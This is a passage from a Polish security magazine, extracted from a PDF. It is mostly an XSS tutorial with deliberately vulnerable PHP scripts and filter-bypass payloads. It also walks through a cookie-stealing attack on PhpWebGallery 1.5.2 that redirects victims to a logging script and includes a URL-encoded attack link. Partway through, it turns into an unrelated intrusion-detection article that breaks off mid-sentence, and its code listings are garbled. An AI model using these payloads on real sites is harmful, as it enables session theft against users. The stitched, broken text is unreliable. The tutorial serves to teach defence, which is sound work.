skryptu  PHP  i  tym  razem  wpiszmy  w
pole textarea

cookie);</script>

Ujrzysz wiadomość podobną do

tej, jaką obrazuje Rysunek 2. Poja-
wi się okno alarmowe ze słowami

xss=Ta+treść+zostanie+zawarta-

+w+ciasteczku. W tym wypadku,

xss to nazwa ciasteczka, zaś Ta+tre-

ść+zostanie+zawarta+w+ciasteczku
to jego zawartość. Oczywiście, w ten
sposób można odczytać zawartość
wielu ciasteczek.

Możemy więc wyświetlić alarm

z treścią ciasteczka. To jednak nie jest
jeszcze  niebezpieczne  w  przypadku
ataku, w najgorszym razie zdenerwuje
tylko  użytkownika  i  spowoduje  jego
podejrzenie, że coś nie jest w porząd-
ku.  Jak  zawartość  ciasteczka  może
zostać przekazana do atakującego?

Jak zwykle jest kilka sposobów

osiągnięcia celu. W tym artykule po-
każemy jedną z najbardziej podsta-
wowych możliwości. Przekierujemy

przeglądarkę użytkownika na inny
adres, podając zawartość ciasteczka
jako argument. W tym wypadku, dru-
ga witryna będzie najpewniej skryp-
tem, który zapisze przekazywaną
treść do bazy danych lub pliku.

Tak wygląda teoria, przejdźmy

teraz  do  praktyki.  Ponownie  skieruj
przeglądarkę  do  podatnego  skryp-
tu  PHP.  Do  pola  textarea  wpisz

Zobaczysz informację zbliżoną

do tej, jaka widoczna jest na Rysun-
ku 3. Przeglądarka przekierowała się
na witrynę evilsite.com i przekazała
informacje z ciasteczka. W przypad-
ku rzeczywistego ataku, treść zosta-
łaby właśnie wykradziona.

Proste filtrowanie

Jak  udowodniliśmy,  dynamicznie
tworzone strony są podatne na ataki
XSS,  gdy  wyświetlają  treść  podaną
przez  użytkownika  bez  filtrowania.
Jak więc zabezpieczyć się przed tego
typu  atakiem?  W  tej  części  artykułu
przyjrzymy  się  podstawowym  tech-
nikom  filtrowania  i  omówimy,  w  jaki
sposób mogą one być ominięte.

Listing 3. zawiera ten sam skrypt

PHP, co Listing 1, implementuje jednak
dodatkową funkcję

filter()

. Funkcja ta

przeszukuje łańcuch podany jako jej
argument, usuwając tagi

</script>

. Skrypt stosuje funkcję

Rysunek 3.

Przeglądarka po przekierowaniu na inną stronę

Rysunek 2.

Przeglądarka wyświetlająca dane z ciasteczka

Listing 2.

Kod HTML po ataku

html

head

title

XSS-Test | Nowe wiadomości

/title

/head

body

Twoje nowe wiadomości:

/h3

Temat

script

alert("podatność");

/script

/body

/html

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

filter()

w odniesieniu do obydwu

zmiennych, które przechowują dane
wprowadzone przez użytkownika.

Jeśli zatem wytniemy tagi, nie

będziemy mogli zastosować wcze-
śniej zaprezentowanego kodu. Mimo
wszystko, taki sposób filtrowania nie
jest bezpieczny. Istnieje co najmniej
kilka sposobów ominięcia opisanego
mechanizmu filtrującego. Przyjrzyj-
my się im poniżej.

Omijanie

podstawowego

filtrowania

Ponieważ nie możemy umieścić na-
szego kodu w tagach

, będzie-

my musieli wkleić go w inne miejsce.

Odnośniki stają się w tym mo-

mencie  przydatnym  narzędziem,
mogą  bowiem  zawierać  kod  Java-
Script,  umożliwiając  webmasterom
tworzenie  bardziej  dynamicznych
stron.  Dla  przykładu,  mogą  one
posłużyć  do  otwierania  niewielkich
okien,  zawierających  dokładniejszy
opis  produktu,  lub  przeprowadzać
bardziej  kompleksowe  akcje  przy
użyciu frameworka JavaScript.

Skieruj przeglądarkę do poprawio-

nego skryptu PHP. Możesz ustalić, że,
w istocie, po zastosowaniu filtrowania,
nie działa opisana przez nas wcze-
śniej metoda. Wpiszmy do pola texta-
rea link. Zamiast podawać adres URL,
wpiszemy identyfikator

javascript

zaś za nim – nasz kod. Kompletny
link powinien wyglądać na przykład
tak:

<a href="javascript:alert('wciąż

podatny');">Kliknij Mnie!</a>.

Po najechaniu kursorem na link,

w pasku statusu przeglądarki pojawić
się powinna treść podobna do tej, ja-
ką  obrazuje  Rysunek  4.  Kliknięcie
na  odnośnik  spowoduje  wykonanie
kodu  JavaScript,  co  zaowocuje  wy-
świetleniem  alarmu  wciąż  podatny.
Oczywiście, metody wcześniej użyte
do wykradania zawartości ciastek są
w tym wypadku także funkcjonalne.

Na pierwszy rzut oka wydaje się, że

użytkownik nie kliknie na taki odnośnik.

W końcu będzie on widział kod Java-
Script w pasku statusu przeglądarki, co
powinno wzbudzić jego podejrzenia.

Z drugiej strony, należy jednak

pamiętać  o  tym,  że  większość  In-
ternautów  nie  zna  JavaScriptu,  nie
wie więc, co stanie się po kliknięciu
odnośnika.  W  praktyce,  wielu  użyt-
kowników  sieci  nie  jest  nawet  obe-
znanych z koncepcją linkowania.

Dodatkowo, ludzie rzadko spraw-

dzają, dokąd link ich zaprowadzi.

Wszyscy ufamy, że otrzymamy treść
zgodną  z  opisem  odnośnika.  Tak
więc  istnieje  realna  szansa,  że  link
opisujący  dokładniejsze  informacje,
czy informujący o tanich zegarkach,
zostanie kliknięty.

Nawet jeśli użytkownik nie naci-

śnie  przycisku,  wciąż  możemy  wy-
konać  kod.  Posłuży  nam  do  tego
efekt  onmouseover.  Efekty  tego  ro-
dzaju są zaimplementowane w celu
tworzenia  interaktywnych  witryn.

Listing 3.

Skrypt PHP z podstawowym filtrowaniem

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

$_GET

[

'text'

]

;

$title

$_GET

[

'title'

]

;

function

filter

(

$input

){

$input

ereg_replace

(

script

", "",

$input

);

$input

= ereg_replace("

/script

", "

$input

)

;

return

$input

;

}

$text

= filter

(

$text

)

;

$title

= filter

(

$title

)

;

(

$text

&& !

$title

){

echo

html

head

title

XSS-Test | Wpisz wiadomość

/title

/head

body

form action=

"simple.php"

input type=

"text"

name=

"title"

value=

"Temat"

textarea name=

"text"

rows=

"16"

cols=

"100"

Treść...

/textarea

input type=

"submit"

name=

"send"

value=

"Wyślij wiadomość"

/form

/body

/html

}
if (!$text && $title){
echo '

Musisz wpisać wiadomość

a href=

"simple.php"

Wróć

}

if (!$title && $text){
echo '

Musisz wpisać tytuł

a href=

"simple.php"

Wróć

}
if ($text && $title) {
echo '

html

head

title

XSS-Test | Nowa wiadomość

/title

/head

body

Twoje nowe wiadomości:

/h3

'.$title.'

'.$text.'

/body

/html

}
?>

Rysunek 4.

Pasek statusu prze-

glądarki pokazujący kod JavaScript

hakin9 Nr 5/2007

www.hakin9.org

Atak

Przykładowo,  jeśli  najedziemy  kur-
sorem na menu, może zmieniać się
jego wygląd w zależności od pozycji,
nad którą jest kursor. Do zmiany wy-
glądu służy właśnie efekt onmouse-
over: w przypadku najechania kurso-
rem,  podmieniane  są  grafiki.  Zaim-
plementujmy  więc  opisany  atak.  Do
poprawionego skryptu wpiszmy:

<a onmouseover="javascript:alert
('podatność bez klikania')">
Przesuń tu kursor!</a>.

Teraz najedź kursorem na tekst.
Przeglądarka wykona kod, wyświe-
tlając alarm podatność bez klikania.

Ponieważ ten tekst nie wygląda

inaczej niż reszta odnośników, użyt-
kownikowi trudno będzie go odróżnić
– jest całkiem realna szansa, że na-
jedzie na niego kursorem.

Można zastosować kilka trików,

by być pewniejszym efektu, np. załą-
czyć więcej tekstu lub grafiki.

W zależności od wyglądu i ukła-

du witryny, powinno to dać ogromne
szanse na wykonanie Twojego kodu.

Zaawansowane

filtrowanie

Pokazaliśmy, jak można wkleić do wi-
tryny szkodliwy kod i jak ominąć pod-
stawowe  filtrowanie.  Przyjrzyjmy  się
teraz  bezpieczniejszemu  sposobo-
wi  ochrony  przeciwko  XSS.  Obronić
można się przed tego typu atakiem na
dwa  podstawowe  sposoby:  możemy
eskejpować wszystkie specjalne zna-
ki  lub  użyć  wyrażeń  regularnych  do
usunięcia  niebezpiecznych  znaczni-
ków. Oba sposoby mają swoje wady i
zalety, które przedstawimy w dalszych
akapitach tego tekstu.

Listing 4. zawiera finalną wersję

naszego skryptu PHP. Tym razem uży-
wamy funkcji

htmlentities()

do eskej-

powania treści wprowadzonych przez
użytkownika,  zamieniając  wszystkie
specjalne  znaki  na  ich  odpowiedniki
w  HTML.  Sekwencje  eskejpujące  są
używane w celu zamienienia znaków
specjalnych na kilka określonych zna-
ków standardowych, niwelując proble-
my z różnymi kodowaniami.

Dla przykładu, niemiecka litera Ä

jest reprezentowana przez sekwen-

cję

. Dzięki temu, odpowiedni

znak  zostanie  wyświetlony  nieza-
leżnie  od  tego,  jakiego  kodowania
używa Twoja przeglądarka. Możemy
jednak użyć tego systemu także do
naszych  celów,  bowiem  eskejpowa-
ne  znaki  tylko  wyglądają  jak  znaki,
które  reprezentują,  nie  posiadają
jednak ich funkcjonalności.

Przeanalizujmy to zagadnienie w

oparciu o odpowiedni przykład. Ciągi

znaków

oraz

<script&gt

;

wyglądają po przeanalizowaniu do-
kładnie tak samo, jednak przeglądarka
inaczej potraktuje ciąg

(jako

znacznik), zaś inaczej

<script&gt

;

(jak normalny ciąg znaków).

Mając to na uwadze, łatwo od-

kryjemy,  że  jest  to  skuteczna  obro-
na  przeciwko  atakom  XSS  –  cokol-
wiek  wpisze  użytkownik,  zostanie
to  potraktowane  jak  normalny  ciąg

Metody załączania kodu

Załączanie czystego kodu do podatnej na atak witryny to jedna z wielu możliwości.
Jak opisano w artykule, kod może być załączony także wewnątrz linków i przy użyciu
efektów onmouseover. Przyjrzyjmy się innym potencjalnym miejscom i technikom
załączania kodu. Niektóre z nich są zależne od przeglądarki, nie muszą więc działać
w przypadku Twojej konfiguracji.

Dzięki załączaniu skryptów umieszczonych w zewnętrznych plikach możemy ominąć
zabezpieczenie określające maksymalne rozmiary. Kod nie będzie też bezpośrednio
widoczny w kodzie HTML, przez co będzie trudniejszy do wykrycia. W niektórych przy-
padkach może być zaimplementowany mechanizm blokujący załączanie kodu z innych
witryn. Należy jednak pamiętać, że rozszerzeniem nie musi wcale być .js.

Jeśli do witryny możemy załączyć grafiki, często udaje się oszukać aplikację,

uploadując plik harmless.jpg, lecz jako odnośnik do grafiki podając kod. Ponieważ
serwer będzie przechowywał plik, odnośnik będzie traktowany najczęściej jako obiekt
bezpieczny. Jeśli możemy podać adres odnośnika do grafiki, możemy wkleić kod
w następujący sposób:

W przypadku, gdy filtrowane są apostrofy, możemy użyć ich ekwiwalentów w postaci
ustalonych ciągów znakowych (HTML entities):

<a href="javascript:alert("XSS")">Kliknij!</a>

Poniższa konstrukcja pozwala na wykonanie kodu po załadowaniu witryny (onload).
Może być ona wykorzystana, jeśli użytkownik ma wpływ na wygląd całej witryny, włącz-
nie z atakiem

<body>.

Przeglądarki oparte o silnik Gecko często wykonują kod, który jest umiejscowiony przed
nowootwartym tagiem. Spowodowane jest to tym, że zamykają one automatycznie nie-
zamknięte tagi. W poniższym przypadku, link zostanie przypisany do znaku <, co może
być szczególnie przydatne, jeśli operujemy wewnątrz znacznika.

<a href="javascript:alert('podatność'); <

W przypadku otwierania podstrony w znaczniku iframe, wykonywany jest kod załą-
czanej strony. W takiej sytuacji strona evilscript.html mogłaby zawierać szkodliwy kod
atakującego.

Naturalnie, kod JavaScript może być także przypisany bezpośrednio do znacznika iframe.

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

znaków. Nie będziemy mogli wyko-
nać kodu – efekt będzie przypominał
to, co uwidacznia Rysunek 5.

Druga koncepcja jest o wiele prost-

sza do wyjaśnienia. Zamiast zamieniać
niebezpieczne treści przez eskejpowa-
nie, po prostu je wycinamy. Takimi tre-
ściami mogą być znaczniki

lub

kod  JavaScript  wewnątrz  odnośników
itp.  Istotne  jest  zbudowanie  sprawnej
i kompletnej bazy wyrażeń regularnych
opisujących  niebezpieczne  treści,  by
móc je potem usunąć, to jednak zagad-

nienie na osobny artykuł. Jeśli chcesz
zgłębić wiedzę na ów temat, polecamy
przejrzenie linków z ramki W Sieci.

Wady obydwu metod

Jak widzimy, istnieją dwie koncepcje
ochrony przed atakami XSS. Przyj-
rzymy się, jakie są ich słabe strony.

Eskejpowanie wszystkich spe-

cjalnych znaków jest najprostszą
i najbezpieczniejszą metodą ochrony
przed atakami XSS. Z drugiej strony,
postepując w ten sposób, zabloku-

jemy  możliwość  użycia  wszystkich
znaków  specjalnych  i  znaczników.
Spowoduje  to,  że  użytkownik  nie
będzie mógł używać żadnych tagów
HTML w swojej treści. Jeśli chcemy
pozostawić możliwość użycia niektó-
rych  tagów  użytkownikowi,  musimy
zaimplementować  osobny  interfejs
do tworzenia np. odnośników.

Wycinanie treści przy użyciu wy-

rażeń  regularnych  nie  wiąże  się  już
z powyższym mankamentem, ponie-
waż  nie  usuwa  niczego  więcej  po-
za  określonymi  treściami.  Powsta-
je  jednak  przy  tym  zasadniczy  pro-
blem: nowe sposoby ataków i miejsca
do wklejenia kodu są odkrywane do-
syć często, czasami zmienia się tak-
że  struktura  samego  języka  HTML.
By zachować bezpieczeństwo, musi-
my utrzymywać aktualne wersje wy-
rażeń  regularnych.  Z  tego  powodu,
drugi  sposób  obrony  chroni  jedynie
przed  już  znanymi  sposobami  ataku
– nasz kod będzie podatny na nowo-
odkryte luki.

Rzeczywistość

Pokazaliśmy  czym  jest  XSS  i  jak
może  być  przeprowadzony  i  unie-
możliwiony.  Dla  celów  edukacyj-
nych używaliśmy załączonych przy-
kładowych skryptów. Przyjrzymy się
teraz określonym aplikacjom i możli-
wościom ataków w rzeczywistości.

4 lipca 2006 roku ludzie z Moroc-

can Security Research Team wysła-
li  e-mail  na  listę  mailingową  BUG-
TRAQ.  Zawierał  on  oświadczenie,
w  którym  informowali  oni  o  tym,  że
znaleźli  podatność  na  atak  XSS  w
systemach PhpWebGallery w wersji
1.5.2 i poprzednich.

Problem leży w pliku com-

ments.php, który oferuje wyświetla-
nie i filtrowanie komentarzy użytkow-
ników, treść wprowadzana w miejsce
słowa kluczowego nie jest jednak po-
prawnie sprawdzana. Spróbujmy użyć
tej podatności, by wykraść ciastko
użytkownika.

Podatną wersję 1.5.2 można zna-

leźć na dołączonym do pisma CD. Wy-
starczy uruchomić livecd i skierować
Firefoxa pod adres http://localhost/

phpwebgallery/comments.php. Mimo
że wysłany e-mail zawierał kod będą-

Listing 4.

Skrypt PHP zabezpieczony eskejpowaniem znaków

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

$_GET

[

'text'

]

;

$title

$_GET

[

'title'

]

;

function

escaping

(

$input

){

$input

= htmlentities

(

$input

)

;

return

$input

;

}

$title

= escaping

(

$title

)

;

$text

= escaping

(

$text

)

;

(

$text

&& !

$title

){

echo

html

head

title

XSS-Test | Wpisz wiadomość

/title

/head

body

form action=

"advanced.php"

input type=

"text"

name=

"title"

value=

"Temat"

textarea name=

"text"

rows=

"16"

cols=

"100"

Treść...

/textarea

input type=

"submit"

name=

"send"

value=

"Wyślij wiadomość"

/form

/body

/html

}
if (!$text && $title){
echo '

Musisz wpisać wiadomość

a href=

"advanced.php"

Wróć

}

if (!$title && $text){
echo '

Musisz wpisać tytuł

a href=

"advanced.php"

Wróć

}
if ($text && $title) {
echo '

html

head

title

XSS-Test | Nowe wiadomości

/title

/head

body

Twoje nowe wiadomości:

/h3

'.$title.'

'.$text.'

/body

/html

}
?>

hakin9 Nr 5/2007

www.hakin9.org

Atak

cy exploitem, użyjemy tutaj własnego
kodu do przeprowadzenia ataku.

Wiemy, że podatna na atak jest

zmienna  związana  ze  słowami  klu-
czowymi,  sprawdźmy  więc,  jak  jest
ona wklejana do kodu HTML. By to
zrobić, wpiszemy do tego pola jakiś
ciąg  znaków,  a  następnie  wyszuka-
my go w otrzymanym kodzie HTML.
W  tym  wypadku,  użyłem  ciągu

XSScodegoeshere.

Po wysłaniu formu-

larza, znajdziemy ten ciąg znaków
między kodem:

<label>Keyword<input type="text"
name="keyword"
value="XSScodegoeshere" />
</label>

Jak  widzimy,  treść,  jaką  wpiszemy
w polu, jest następnie przypisywana
do  parametru  value  pola  input  oraz
otaczana  cudzysłowami.  Z  tego  też
powodu, pierwsze, z czym się upo-
ramy,  to  wyjście  poza  cudzysłowy  i
nawiasy znacznikowe. Na szczęście
dla nas, witryna nie filtruje ciągu “>”,
więc możemy go użyć.

Spójrzmy, jak będzie wyglądał

kod HTML po umieszczeniu powyż-
szych znaków przed naszym ciągiem
znaków:

<label>Keyword<input type="text"
name="keyword"
value="\">XSScodegoeshere" />
</label>

Jak widać, nasz ciąg jest teraz po-
za  cudzysłowami  i  znacznikiem.
Dzięki  temu,  przeglądarka  potrak-
tuje  go  jako  część  witryny,  któ-
rą  może  zinterpretować.  Ponieważ
chcemy wykraść ciastko, będziemy
musieli się najpierw zalogować, by
takie ciastko otrzymać. Przechodzi-
my więc pod adres http://localhost/

phpwebgallery/ i logujemy się przy
użyciu nazwy admin oraz hasła

hakin9. Następnie wracamy na
stronę z komentarzami.

Mamy już wszystko, co potrzeb-

ne jest do przeprowadzenia ataku.

Wiemy, że pole ze słowami kluczo-
wymi jest podatne na atak, możemy
opuścić cudzysłowy i znaczniki, ma-
my także ciastko na twardym dysku.

Zanim przystąpimy do wykra-

dania ciastka użytkownika przez

Rysunek 6.

PHPWebGallery alarmujące treścią ciasteczka użytkownika

Rysunek 5.

Nieskuteczny atak XSS dzięki wykorzystaniu eskejpowania

Tabela 1.

Najczęściej stosowane sekwencje eskejpujące w HTML

Znak

Sekwencja eskejpująca

“

" "

& &

< <

> >

[

]

{

}

Listing 5.

Skrypt PHP

zapisujący przekazany

argument do pliku

php

$file

fopen

(

"pwsave.txt"

"w"

)

;

fwrite

(

$file

$_GET

[

])

;

fclose

(

$file

)

;

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

przekierowanie go do szkodliwej
strony, sprawdźmy, czy nasz kod
zadziała w przypadku alarmu. Uży-
jemy ciągu:

"><script>alert(document.cookie)
</script>

Ujrzysz  obraz  podobny  do  tego,
jaki  widać  na  Rysunku  6.  –  cia-
steczko  najwyraźniej  przechowu-
je  identyfikator  sesji  użytkownika.
Sfinalizujmy  atak:  przekierujemy
użytkownika  do  witryny,  która  za-
pisze treść przekazanego jej para-
metru do pliku.

Taki skrypt znajduje się także na

hakin9-livecd, znajdziesz go pod na-
zwą catcher.php. Do przekierowania
użyjemy funkcji document.location,
dołączając treść ciasteczka.

“><script>document.location =
“http://localhost/catcher.php?pw=”
+document.cookie</script>

Po wysłaniu takiej treści w formula-
rzu, Firefox przekieruje nas do skryp-
tu, który zapisze treść ciasteczka do
pliku pwsave.txt, skąd będziemy
mogli ją odczytać.

Zauważyłeś zapewne, że chociaż

atak działa idealnie, ma pewien nielo-
giczny punkt. Dlaczego bowiem użyt-
kownik miałby samemu wpisywać taki
ciąg znaków do formularza? Oczywi-
ście, zapewne by tego nie zrobił.

Na nasze szczęście, dostęp do

zmiennej keyword możemy także
otrzymać przez URL. Preparując od-
powiednio adres, możemy w nim za-
wrzeć szkodliwy kod. Następnie wy-
starczy, by użytkownik kliknął na taki

odnośnik, co powinno być proste do
osiągnięcia przy pewnej wiedzy so-
cjotechnicznej.  By  przekazać  spe-
cjalne znaki w adresie URL, musimy
je eskejpować. Nie należy się jednak
obawiać – nie wpłynie to na ich inter-
pretację, bowiem serwer przywróci je
do stanu znaków specjalnych przed
wygenerowaniem  dynamicznej  stro-
ny.  Nasz  końcowy  ciąg,  służący  do
ataku, ma następującą postać: http://

localhost/phpwebgallery/comments

.php?keyword=%22%3E%3Cscript

%3Edocument.location=%22 http://

localhost/catcher.php?pw=%22+do-

cument.cookie%3C/script%3E.

Jeśli zmusimy użytkownika do

odwiedzenia tej strony, nasz skrypt
wykradnie jego ciasteczko. Gratu-
lujemy!

Podsumowanie

Jak  pokazaliśmy,  XSS  można
przeprowadzić  na  wiele  różnych
sposobów.  Na  niezabezpieczonej
witrynie daje on ogromne możliwo-
ści wykradania informacji i wprowa-
dzania w błąd. Mimo wszystko, nie-
którzy  wciąż  uważają  XSS  za  za-
bawkę  dla  młodocianych  hakerów,
która  w  najgorszym  wypadku  wy-
świetli  nam  denerwujące  okienko.
My  jednak  już  wiemy,  że  sytuacja
jest dużo poważniejsza.

Każdy webmaster powinien pod-

jąć  stosowne  kroki  w  celu  zabez-
pieczenia swoich aplikacji przed te-
go  typu  atakami.  Jakim  sposobem
chronić  nasze  formularze?  To  już
kwestia  gustu,  pozostającego  do
dyspozycji czasu, ale także funkcjo-
nalności aplikacji. Z tego też powodu
trudno jest przedstawić uniwersalne
rozwiązanie tego problemu – jak to
zazwyczaj  bywa  w  przypadku  bez-
pieczeństwa,  własne  rozwiązanie
jest  niezbędne.  Niewątpliwie  poja-
wią  się  nowe  sposoby  przeprowa-
dzania ataków, powodując ponowne
narażenie naszych witryn – tak, jak
w przypadku przepełnień buforu.

W momencie, gdy wydawało

się, że wszystkie luki są możliwe do
zabezpieczenia, ktoś odkrywał nowe
podatności i łamał kod. Jeśli zatem
chcemy być bezpieczni, musimy stale
czuwać nad naszymi aplikacjami. l

W Sieci

• http://hackers.org/xss.html – Ściąga XSS,
• http://webmonkey.wired.com/webmonkey/reference/special_characters/ – lista

sekwencji eskejpujących,

• http://pixel-apes.com/safehtml/?page=safehtml SafeHTML – wstęp do filtrowania

przy użyciu wyrażeń regularnych

O autorze

Autor to obecnie uczeń ostatniej klasy w niemieckiej szkole średniej. Zaczął intere-
sować się tematyką bezpieczeństwa komputerowego na własną rękę, mając na celu
przeniesienie się do Japonii.
Kontakt z autorem: psz@observed.de

Możliwości ataku

Ten artykuł demonstruje technikę wykorzystania podatności na XSS, posłużyliśmy się
więc tylko jednym przykładem ataku. XSS pozwala jednak na przeprowadzenie dużo
groźniejszych ataków niż tylko wykradnięcie treści ciasteczek.

• Dezinformowanie – Funkcja

document.write()

pozwala na umieszczanie wielu

fałszywych informacji. Wyobraźmy sobie istotną stronę z aktualnościami, podatną
na atak XSS. Atakujący mógłby na przykład stworzyć wiadomość o ataku nuklear-
nym i rozprowadzić adres przez e-maile oraz fora dyskusyjne. Wiadomość zyska na
wiarygodności dzięki renomie witryny, przez co wiele osób w nią uwierzy.

• Zmylanie – Podobnie jak w powyższym przypadku, użytkownik może zostać wpro-

wadzony w błąd przy użyciu przekierowania lub podmiany treści.

• Śledzenie użytkowników – Pomysłowy atakujący może pozyskać informacje na

temat stopnia odwiedzalności i klikalności poszczególnych elementów serwisu.
Mechanizm ten jest powszechnie używany do generowania statystyk.

• Obciążanie łącz – Przyjmijmy za przykład większą stronę z aktualnościami, mają-

cą kilka tysięcy wizyt dziennie. Jeśli atakujący wklei kod, ładujący największy plik
z serwera, wygeneruje tym samym ogromne obciążenie, które może spowodować
efekt DOS.

Adaptacyjne techniki wykrywania intruzów

hakin9 Nr 5/2007

www.hakin9.org

wnioski i podejmować decyzje na pod-
stawie  specjalistycznej  wiedzy.  Wie-
dza systemu ekspertowego gromadzo-
na jest w bazie danych i reprezentowa-
na za pośrednictwem reguł, które mo-
gą być przetwarzane przez komputer.
Systemy  tego  typu  wykorzystywane
są do wspomagania decyzji człowieka,
a w niektórych wariantach do całkowi-
tego zastąpienia ludzkiego eksperta z
dane j dziedziny wiedzy. Ogólny sche-
mat  budowy  systemu  ekspertowego
przedstawiony  został  na  Rysunku  1.
Jego najważniejsze elementy to:

• baza wiedzy – zawiera wiedzę

eksperta danej dziedziny repre-
zentowaną najczęściej w posta-
ci zbioru reguł,

• baza danych surowych – prze-

chowuje dane, na podstawie któ-
rych możliwe jest wnioskowanie

• edytor bazy wiedzy – umożliwia

rozbudowywanie systemu w pro-
cesie dodawania i modyfikacji
wiedzy eksperta,

• procedury wnioskowania – za-

wierają algorytmy procesów do-
chodzenia do rozwiązania pro-
blemu przez system,

• procedury objaśniania – pozwa-

lają na wyjaśnienie rozwiązania
oraz sposobu, w jaki zostało ono
osiągnięte,

• interfejs użytkownika – umożliwia

interakcję człowieka z systemem.
Dostarcza mechanizmów pozwa-
lających na edycję bazy wiedzy,
zlecanie zadań oraz wizualizację
wyników generowanych przez
system ekspertowy.

Umiejętność  podejmowania  decyzji
na  podstawie  posiadanej  wiedzy  jest
cechą człowieka. System ekspertowy
jest  analogią  takiego  wnioskowania.
Z tego powodu do jego zaprogramo-
wania potrzebne są dwie osoby: eks-
pert posiadający odpowiednie kompe-
tencje oraz wiedzę, aby móc rozwiązy-
wać problemy danej dziedziny oraz in-
żynier wiedzy. Postać inżyniera wiedzy
ma  szczególne  znaczenie,  ponieważ
zajmuje się on głównie strukturalizacją
wiedzy  eksperta,  czyli  reprezentowa-
niu jej w sposób nadający się do prze-
twarzania przez komputer. Zadanie to,
mimo że wydaje się koncepcyjnie pro-
ste  do  zrealizowania,  w  rzeczywisto-
ści  jest  bardzo  żmudnym  i  skompli-
kowanym  procesem.  Wiedza  eksper-
ta  jest  zwykle  intuicyjno-praktyczna,
co powoduje trudności w reprezento-
waniu jej w postaci ścisłych reguł.

System ekspertowy w niektórych

przypadkach może sam wzbogacać
swoją  bazę  wiedzy.  Mechanizm  sa-
mouczenia  się  może  funkcjonować
tam,  gdzie  na  wyniki  wnioskowania
wpływ  mają  wcześniejsze  doświad-
czenia związane z rozwiązywaniem
problemów. Wnioski stanowią jedno-
cześnie uzupełnienie bazy wiedzy o
kolejne doświadczenia.

Systemy

wykrywania anomalii

Technika wykrywania anomalii skupia
się  na  analizie  zachowania  nadzoro-
wanego  elementu  (ruchu  sieciowego,
poszczególnych usług systemu opera-
cyjnego  itd.)  i  porównywania  przepły-
wających przez te elementy danych z
modelem  opisującym  ich  akceptowal-
ne  formy.  Zbiór  form  określonych  ja-
ko  akceptowalne  specyfikowany  mo-
że  być  na  przykład  przez  administra-
tora. Dynamika takiego układu polega
na możliwości uczenia się, a co za tym
idzie dostosowywania do nowych wa-
runków i reakcji na nowe, niespotykane
wcześniej sytuacje. W  tym  rozwiąza-
niu IDS, napotykając pakiet posiada-
jący cechy anormalności, generuje do
administratora  stosowny  komunikat.
Administrator po własnej analizie ma
możliwość  oceny  czy  alarm  był  uza-
sadniony czy też fałszywy. W ten spo-
sób  aktualizowana  jest  baza  wiedzy

systemu. Taki paradygmat budowania
bazy wiedzy stosowany jest w coraz
popularniejszych programach określa-
nych jako systemy ekspertowe.

Naturalnie, z uwagi na bardzo du-

żą ilość elementów, jakimi charaktery-
zują się monitorowane zdarzenia, ko-
nieczne  jest  wyselekcjonowanie  ich
najważniejszych cech, które podlegać
będą  analizie  pod  kątem  występo-
wania  nieprawidłowości.  Przykładem
przewagi  systemu  wykrywania  ano-
malii  nad  klasycznym  systemem  wy-
korzystującym  porównywanie  sygna-
tur może być sytuacja, w której do sie-
ci trafia nowy robak. Infekuje on wy-
kryte w sieci systemy komputerowe i
intensywnie  prowadzi  skanowanie  w
celach  dalszej  propagacji.  Ponieważ
złośliwy robak jest świeżo napisanym
programem,  klasyczny  system  IDS
nie może go wykryć z powodu braku
danych o sygnaturach pozwalających
na identyfikację. System wykrywania
anomalii może tu okazać się bardziej
skuteczny.  Kiedy  robak  skanuje  sieć
w  poszukiwaniu  dalszych  potencjal-
nych  ofiar,  może  zostać  wykryty  na
podstawie anomalii związanej z niety-
powo dużym natężeniem ruchu pakie-
tów sieciowych.

Adaptacyjne systemy

detekcji anomalii

Oprócz możliwości korzystania z wie-
dzy człowieka, systemy wykrywania
anomalii mogą aktualizować bazę wie-
dzy samodzielnie. Przykładem takiego
mechanizmu może być eksperymen-
talny filtr SPADE (ang. Statistical Pac-

ket  Anomaly  Detection  Engine).  Za-
projektowany  został  jako  wtyczka  do
systemu  wykrywania  intruzów  Snort.
SPADE  śledzi  pakiety  sieciowe  prze-
syłane  przez  monitorowany  system,
gromadzi ich charakterystyki oraz sta-
tystyki  występowania.  Podstawowe
cechy,  według  których  klasyfikowane
są  pakiety  to  docelowy  lub  źródłowy
adres IP oraz porty. Zgodnie z historią
obserwacji, pakiety otrzymują punkta-
cję w kategorii przynależności do klasy
anormalności.  Jeśli  pakiet  o  określo-
nych cechach pojawia się bardzo rzad-
ko, otrzymuje wysoką punktację. Jeśli
natomiast dana aktywność występuje
bardzo często, jest wtedy punktowana

Rysunek 1.

Schemat budowy

systemu ekspertowego

Baza danych

"surowych"

Baza wiedzy

Interfejs użytkownika

Procedury

objaśniania

Procedury

wnioskowania

Edytor

bazy wiedzy

hakin9 Nr 5/2007

www.hakin9.org

Obrona

nisko, co oznacza kwalifikację jej w ka-
tegoriach normalnych.

W SPADE zastosowano tabli-

cę  prawdopodobieństw  powiązaną
z  częstością  występowania  określo-
nych  pakietów.  Tablica  aktualizowa-
na jest w czasie rzeczywistym w pro-
cesie  monitorowania  przepływu  pa-
kietów w sieci. Informacje zawarte w
tablicy pozwalają na określenie staty-
stycznego  prawdopodobieństwa  wy-
stępowania danego zdarzenia.
Przykład:
System zarejestrował 1000 pakietów.
200 z nich charakteryzował docelowy
adres  IP  XXX.XXX.XXX.XXX  oraz
docelowy  port  80.  Prawdopodobień-
stwo wystąpienia takiego pakietu rów-
ne  jest  zatem  20%.  Zarejestrowane
zostały także 2 pakiety przesyłane na
adres YYY.YYY.YYY.YYY i port 7898
–  prawdopodobieństwo  wystąpienia
tego pakietu wynosi zatem 0,2%. Jeśli
prawdopodobieństwo wystąpienia pa-
kietu oznaczymy jako P, a parę adres:
port (będące elementami charaktery-
stycznymi dla pakietu) jako X, wzór na
współczynnik anomalii pakietu opisać
można następującym wzorem:

-log2(P(X))

Zatem współczynnik anomalii pakie-
tu przy prawdopodobieństwie wystą-
pienia równym 20% będzie wynosił:

-log2(0,20) = 2,32

Odpowiednio współczynnik ten przy
prawdopodobieństwie wystąpienia
równym 0,2% wynosi:

-log2(0,002) = 8,97

Wartość  2,32  określa  zwykły  pakiet,
nie  posiadający  cech  anormalnych.
Wartość 8,97 to już zdecydowana ano-
malia.  W  celu  uściślenia  kwalifikacji
określonych zdarzeń SPADE pozwala
na unormowanie współczynnika anor-
